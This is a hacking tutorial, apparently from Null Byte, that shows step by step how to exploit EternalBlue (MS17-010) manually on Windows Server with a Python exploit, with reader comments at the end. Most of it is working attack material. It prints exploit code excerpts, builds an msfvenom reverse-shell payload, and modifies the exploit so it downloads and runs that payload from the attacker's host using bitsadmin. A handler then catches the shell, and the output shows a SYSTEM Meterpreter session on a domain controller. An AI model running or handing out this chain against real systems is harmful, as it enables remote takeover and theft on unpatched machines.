How To: Manually Exploit EternalBlue on Windows Server Using MS17-010 Python Exploit

Manually Exploit EternalBlue on Windows Server Using MS17-010 Python Exploit

EternalBlue was a devastating exploit that targeted Microsoft's implementation of the SMB protocol. Metasploit contains a useful module that will automatically exploit a target, as long as it's vulnerable. But what if we wanted to exploit this vulnerability without Metasploit holding our hand? It can be done using a Python file to exploit EternalBlue manually.

I won't go into the whole spiel about what EternalBlue is, where the exploit came from, or how SMB works since I already did that in the previous guide on exploiting EternalBlue on Windows Server with Metasploit. So for more background information on what EternalBlue and SMB are and how to figure out if a target is vulnerable or not, make sure to check that out before continuing.

In this guide, we'll tackle the manual route of exploiting EternalBlue on Windows Server. I'll be using an unpatched copy of Windows Server 2016 Datacenter as the target, and evaluation copies can be downloaded from Microsoft if you want to follow along as we perform each step below.

Step 1: Set Up the Python-Based Exploit

The first thing we need to do is locate the exploit file. On Kali, we can use searchsploit in the terminal to search the database for a match.

searchsploit eternalblue
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                            |  Path
                                                                                                                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Microsoft Windows Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                                                  | exploits/windows/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                              | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)                                                                        | exploits/windows_x86-64/remote/42030.py
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
 Paper Title                                                                                                                                                       |  Path
                                                                                                                                                                   | (/usr/share/exploitdb-papers/)
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------
How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008                                                                                                      | docs/english/41896-how-to-exploit-eternalblue-
How to Exploit ETERNALBLUE on Windows Server 2012 R2                                                                                                               | docs/english/42280-how-to-exploit-eternalblue-
[Spanish] How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008                                                                                            | docs/spanish/41897-[spanish]-how-to-exploit-et
[Spanish] How to Exploit ETERNALBLUE on Windows Server 2012 R2                                                                                                     | docs/spanish/42281-[spanish]-how-to-exploit-et
------------------------------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------------

The exploit we want is labeled 42315.py. In order to keep things tidy, let's create a directory to work out of.

mkdir exploit

Now we can copy the exploit file to our newly created directory.

cp /usr/share/exploitdb/exploits/windows/remote/42315.py /root/exploit/

Then, change into the directory and verify the file is present.

cd exploit/
ls
42315.py

Now we can take a look at the source code for more information about this particular exploit. This is quite a long file, so we can use the less command to view it from the top.

less 42315.py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time

'''
MS17-010 exploit for Windows 2000 and later by sleepya

EDB Note: mysmb.py can be found here ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py

Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = ''
PASSWORD = ''

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Note: method name is from NSA eternalromance

For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.

...

This exploit requires a valid named pipe (we'll get to this soon) and a valid set of credentials. These can be any other credentials from a user that has logged onto the target in the past, including guest accounts. The exploit will automatically upgrade us to a privileged account when it's run.

Before we go any further, it is a good idea to make a copy of this file so we have access to the original source code. We can rename it exploit.py to keep it simple.

cp 42315.py exploit.py
ls
42315.py  exploit.py

Now we can edit the Python file and enter a valid username and password to use.

Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''

USERNAME = 'user'
PASSWORD = 'password'

'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it

Save it, and now we can try to run the exploit.

python exploit.py
Traceback (most recent call last):
  File "exploit.py", line 3, in <module>
    from mysmb import MYSMB
ImportError: No module named mysmb

It looks like it is trying to import a module named mysmb, so in order for this to work, we need to download it. We can easily do that using wget.

wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
--2019-03-26 11:25:44--  https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16669 (16K) [text/plain]
Saving to: ‘mysmb.py’

mysmb.py                                             100%[=====================================================================================================================>]  16.28K  --.-KB/s    in 0.03s

2019-03-26 11:25:44 (528 KB/s) - ‘mysmb.py’ saved [16669/16669]

Try running the file again and we get different output.

python exploit.py
exploit.py <ip> [pipe_name]

It looks like usage information now, which is a good sign. We need to plug in the IP address of our target and a pipe name as parameters.

Step 2: Find Named Pipe

Named pipes are a way for running processes to communicate with each other with very little overhead. Pipes usually appear as files for other processes to attach to. Metasploit has a scanner that will find any named pipes on a host. In a new terminal, type msfconsole to fire it up, then we can search for the scanner.

msfconsole
search pipe
Matching Modules
================

   Name                                                        Disclosure Date  Rank       Check  Description
   ----                                                        ---------------  ----       -----  -----------
   auxiliary/admin/db2/db2rcmd                                 2004-03-04       normal     No     IBM DB2 db2rcmd.exe Command Execution Vulnerability
   auxiliary/admin/smb/ms17_010_command                        2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   auxiliary/dos/http/nodejs_pipelining                        2013-10-18       normal     Yes    Node.js HTTP Pipelining Denial of Service
   auxiliary/dos/windows/smb/ms06_063_trans                                     normal     No     Microsoft SRV.SYS Pipe Transaction No Null
   auxiliary/dos/windows/smb/rras_vls_null_deref               2006-06-14       normal     No     Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
   auxiliary/fuzzers/smb/smb_create_pipe                                        normal     No     SMB Create Pipe Request Fuzzer
   auxiliary/fuzzers/smb/smb_create_pipe_corrupt                                normal     No     SMB Create Pipe Request Corruption
   auxiliary/scanner/smb/pipe_auditor                                           normal     Yes    SMB Session Pipe Auditor
   auxiliary/scanner/smb/pipe_dcerpc_auditor                                    normal     Yes    SMB Session Pipe DCERPC Auditor
   exploit/linux/misc/accellion_fta_mpipe2                     2011-02-07       excellent  No     Accellion FTA MPIPE2 Command Execution
   exploit/linux/samba/is_known_pipename                       2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   exploit/multi/http/mediawiki_syntaxhighlight                2017-04-06       good       Yes    MediaWiki SyntaxHighlight extension option injection vulnerability
   exploit/multi/svn/svnserve_date                             2004-05-19       average    No     Subversion Date Svnserve

...

The one we want is the pipe_auditor. Load the module with the use command.

use auxiliary/scanner/smb/pipe_auditor

You should see the "auxiliary(scanner/smb/pipe_auditor) > options" prompt. Now we can take a look at the options.

options
Module options (auxiliary/scanner/smb/pipe_auditor):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                       yes       The target address range or CIDR identifier
   SMBDomain    .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                      no        The password for the specified username
   SMBUser                                                                      no        The username to authenticate as
   THREADS      1                                                               yes       The number of concurrent threads

All we really need to do is specify the IP address of our target.

set rhosts 10.10.0.100
rhosts => 10.10.0.100

And then we can run the scanner.

run
[+] 10.10.0.100:445       - Pipes: \netlogon, \lsarpc, \samr
[*] 10.10.0.100:          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It looks like it found a few named pipes. Awesome.

Step 3: Run the Exploit File

Now we should be able to run the exploit file. Back in the first terminal from Step 1, where we're still in the exploit directory, use the target's IP address and one of the named pipes we found as parameters.

python exploit.py 10.10.0.100 netlogon
Target OS: Windows Server 2016 Standard Evaluation 14393
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffff928c5dc1e020
SESSION: 0xffffac016815e210
FLINK: 0xffffac0167062098
InParam: 0xffffac016705c16c
MID: 0x3303
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Done

We can see some data spit out on the screen, and at the bottom, it says it created a text file on the target. If we take a peek at the target, we can see this was successful.

But we want to do more than just create a text file on the target. This is just a proof of concept, after all, so we will need to do a few more things to get this exploit fully functional.

Step 4: Serve the Payload

We're going to need a payload and a way for the exploit to get it and execute. For that, we can use MSFvenom to generate some shellcode, and we can serve it from our machine using Apache.

In a new terminal, use the following command to generate the payload and save it to a file named sc.exe in the default web root for the Apache server.

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp lhost=10.10.0.1 lport=4321 -e x64/xor -i 5 -f exe -o /var/www/html/sc.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor succeeded with size 591 (iteration=1)
x64/xor succeeded with size 631 (iteration=2)
x64/xor succeeded with size 671 (iteration=3)
x64/xor succeeded with size 711 (iteration=4)
x64/xor chosen with final size 711
Payload size: 711 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/sc.exe

This is a long command, so let's break it down:

  • The -a flag specifies the architecture as 64-bit.
  • The --platform option sets the platform as Windows.
  • The -p flag specifies the payload.
  • lhost is our local machine to connect back to.
  • lport is the local port to connect to.
  • The -e flag specifies the encoder to use.
  • The -i flag sets the number of iterations the encoder uses.
  • The -f flag sets the format.
  • The -o flag specifies the output file.

Now we can start the Apache server so the exploit can connect to our machine from the target to reach the payload. Next, we will tweak the code to fit our needs.

service apache2 start

Step 5: Modify the Code

Back in exploit.py, find the section of code near the bottom that looks like this:

def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
        with open(localSrc, 'rb') as fp:
                smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

Here we can see the code that is responsible for connecting to the target and creating the text file. We can also see an interesting looking function called service_exec() which is commented out. That will connect to the target and issue a command to copy the previously created text file into a new text file named pwned_exec.txt on the C drive. We can use this function to grab our payload and execute it on the target.

First, uncomment the function and replace everything after cmd /c with the following command:

bitsadmin /transfer pwn /download http://10.10.0.1/sc.exe C:\sc.exe

BITSAdmin (Background Intelligent Transfer Service) is a Windows command-line tool used to upload or download files. The /transfer switch initializes a transfer (with the name pwn in this case) and /download specifies that it is a download. Then we enter the name of the remote file (being hosted on our machine) and the name of the local file once it's transferred.

Next, add another service_exec() function and have it execute the file we just transferred. The code will look like this:

service_exec(conn, r'cmd /c /sc.exe')

Finally, we can comment out the section that creates a text file, since we really don't need it anymore. The final code should look like this:

def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        #print('creating file c:\\pwned.txt on the target')
        #tid2 = smbConn.connectTree('C$')
        #fid2 = smbConn.createFile(tid2, '/pwned.txt')
        #smbConn.closeFile(tid2, fid2)
        #smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        service_exec(conn, r'cmd /c bitsadmin /transfer pwn /download http://10.10.0.1/sc.exe C:\sc.exe')
        service_exec(conn, r'cmd /c /sc.exe')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
        with open(localSrc, 'rb') as fp:
                smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

Now, all we have left to do now is run the exploit.

Step 6: Run the Finished Exploit

To complete the exploit, we need something to catch the shell once the payload executes. We can use the multipurpose handler in Metasploit for this. In a new terminal, use the following commands.

msfconsole
use exploit/multi/handler

You should see the "exploit(multi/handler)" prompt. We just need to set the payload to match whatever we specified when we created the shellcode earlier, which in this case is a reverse TCP shell.

set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

Next, set the appropriate listening host.

set lhost 10.10.0.1
lhost => 10.10.0.1

And the listening port.

set lport 4321
lport => 4321

And we can start the handler.

run
[*] Started reverse TCP handler on 10.10.0.1:4321

It will listen for any incoming connections, and if everything goes smoothly, we'll get a Meterpreter session once our exploit completes.

At last, we should have everything in place and ready to go. We can launch the exploit just like we did earlier in our test run from within the exploit directory.

python exploit.py 10.10.0.100 netlogon
Target OS: Windows Server 2016 Standard Evaluation 14393
Target is 64 bit
Got frag size: 0x20
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xf90
CONNECTION: 0xffff928c5dc48020
SESSION: 0xffffac0165773250
FLINK: 0xffffac0167056098
InParam: 0xffffac016705016c
MID: 0x2a07
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 10.10.0.100.....
Creating service Jepa.....
Starting service Jepa.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
Removing service Jepa.....
Opening SVCManager on 10.10.0.100.....
Creating service YTXT.....
Starting service YTXT.....
The NETBIOS connection with the remote host timed out.
Removing service YTXT.....
ServiceExec Error on: 10.10.0.100
nca_s_proto_error
Done

This time we should see different results. Ignore the errors, and if it doesn't work the first time, just try again. Once the exploit successfully completes, we should see a session open up back on our listener.

[*] Sending stage (206403 bytes) to 10.10.0.100
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.100:51057) at 2019-03-26 11:49:38 -0500

meterpreter >

We can verify we have compromised the target with the sysinfo command.

sysinfo
Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

And the getuid command.

getuid
Server username: NT AUTHORITY\SYSTEM

And there we have it — a full Meterpreter session from manually exploiting EternalBlue.

Wrapping Up

In this tutorial, we covered how to manually exploit EternalBlue on Windows Server. We began by setting up a few things in order to get the proof of concept to work. Next, we generated some shellcode and hosted the payload on our machine. After that, we modified the code, launched the exploit, and successfully got a Meterpreter session on the target. Even though Metasploit contains a module to do all this automatically, it's beneficial to know how to do things the hard way, just in case something needs tweaking for a specific target or scenario.

Cover image by Pixabay/Pexels; Screenshots by drd_/Null Byte

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

4 Comments

If i want to use the exploit.py it says. Help me please:

Traceback (most recent call last):
File "exploit.py", line 998, in <module>
exploit(target, pipe_name)
File "exploit.py", line 796, in exploit
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
File "/root/exploit/mysmb.py", line 152, in login
smb.SMB.login(self, user, password, domain, lmhash, nthash, ntlm_fallback)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 3382, in login
self.loginextended(user, password, domain, lmhash, nthash, usentlmv2 = False)
File "/root/exploit/mysmb.py", line 160, in login_extended
smb.SMB.loginextended(self, user, password, domain, lmhash, nthash, usentlmv2)
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 3315, in login_extended
if smb.isValidAnswer(SMB.SMBCOMSESSIONSETUPANDX):
File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 717, in isValidAnswer

raise SessionError, ("SMB Library Error", self'ErrorClass' + (self'_reserved' << 8), self'ErrorCode', self'Flags2' & SMB.FLAGS2NTSTATUS, self)

impacket.smb.SessionError: SMB SessionError: STATUSLOGONFAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

It seems like bad logon information. Make sure you replace 'user' and 'password' with a valid username and password that has been logged onto the target, even if it is just a guest account.

after executing the exploit I get the following:

Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOMPOOLSIZE: 0x5030
BRIDETRANSSIZE: 0xfa0
CONNECTION: 0xfffffa80024d16a0
SESSION: 0xfffff8a007f0c060
FLINK: 0xfffff8a002616088
InParam: 0xfffff8a00261015c
MID: 0x2c03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 10.11.1.75.....
Creating service amXo.....
Starting service amXo.....
The NETBIOS connection with the remote host timed out.
Removing service amXo.....
ServiceExec Error on: 10.11.1.75
Unexpected answer from server: Got 46, Expected 47

Done

Any ideas?

Did you still get a shell? Because these errors can occur but you should still be able to get a shell. The only thing I can think of off the top of my head after a quick Google search is make sure your impacket Python package is up to date. Otherwise, try again and it should work.

Share Your Thoughts

  • Hot
  • Latest